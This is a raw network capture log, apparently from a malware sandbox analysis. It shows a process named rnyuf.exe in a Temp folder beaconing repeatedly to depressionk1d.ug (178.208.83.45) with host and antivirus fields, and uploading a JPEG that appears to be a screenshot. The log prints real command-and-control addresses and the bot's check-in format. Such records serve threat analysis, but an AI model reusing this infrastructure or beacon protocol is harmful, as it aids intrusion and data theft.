Nov 12, 2021 22:24:28.680962086 CET	15939	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
343	192.168.2.4	50170	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:28.928795099 CET	15940	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:28.955473900 CET	15940	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
344	192.168.2.4	50171	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:29.266880989 CET	15941	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:29.297665119 CET	15941	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
345	192.168.2.4	50174	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:29.459811926 CET	15943	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:29.459916115 CET	15944	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:29.460105896 CET	15954	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:29.460241079 CET	15956	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:29.484323025 CET	16017	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:29.508343935 CET	16149	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:24:29.533066988 CET	16330	OUT	Data Raw: 41 26 9f 9d c5 ce ff 00 0b 1a fe 2b be b6 d5 3c 61 ac 5f d9 49 e6 db 5c 5d 3c 91 3e d2 bb 94 9e 0e 08 04 7e 35 91 49 4a 29 c2 2a 11 51 5d 09 93 bb b9 d2 78 3b 52 b6 d3 67 d5 c5 c5 ed 9d 9b dd 69 cd 04 32 5e db 1b 88 77 f9 b1 b6 19 02 3e 46 15 ba Data Ascii: A&+<a_I\]<>~5IJ)Q]x;Rgi2^w>FeM)j{[nb[yVuP0UH!0OL4TwQwhu:I'twOzS-\|U%,/#-c-f8\=%>VIytY)o$k+x<
Nov 12, 2021 22:24:29.558727026 CET	16572	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:29 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
346	192.168.2.4	50173	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:29.461476088 CET	15957	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:29.558146000 CET	16572	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
347	192.168.2.4	50175	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:29.717760086 CET	16573	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:29.834016085 CET	16574	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
348	192.168.2.4	50176	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:29.986485004 CET	16575	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:30.094290972 CET	16575	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
349	192.168.2.4	50177	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:30.234415054 CET	16576	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:30.354269028 CET	16992	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49819	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:30.464189053 CET	4007	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:30.490123034 CET	4007	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
350	192.168.2.4	50178	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:30.500457048 CET	16993	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:30.609862089 CET	16993	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
351	192.168.2.4	50179	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:30.756516933 CET	16994	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:30.784336090 CET	16994	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
352	192.168.2.4	50180	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:30.894165039 CET	16995	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:30.894665956 CET	16995	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:30.894855022 CET	17005	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:30.894953012 CET	17008	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:30.917351961 CET	17011	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:30.917395115 CET	17017	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:24:30.917474985 CET	17027	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:24:30.917495966 CET	17031	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:24:30.917522907 CET	17034	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:24:30.939999104 CET	17061	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:24:30.940057993 CET	17072	OUT	Data Raw: 40 f9 fd d4 9e 8a 2b e6 80 6b d2 c0 fc 2c 75 3e 08 fc c5 3c 52 67 9a 42 79 a5 ae e3 01 c2 96 90 52 d3 10 51 9a 42 68 a2 e0 28 a5 ed 40 a2 98 80 f5 a7 af 4a 6d 2e 4d 34 26 3f 3c d1 4d 06 94 1c 9a 62 1d 47 4a 41 4b 4c 42 d0 29 05 2d 02 1c 29 45 36 Data Ascii: @+k,u><RgByRQBh(@Jm.M4&?<MbGJAKLB)-)E6%4P!iiE0Gd.ifXRx5H~iKM=(hCN(p4NUE-4t!4)D9S(D4hP4)<U"1NRLQK@
Nov 12, 2021 22:24:30.989217043 CET	17107	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:30 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
353	192.168.2.4	50181	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:30.920149088 CET	17034	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:30.942708015 CET	17086	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:30 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 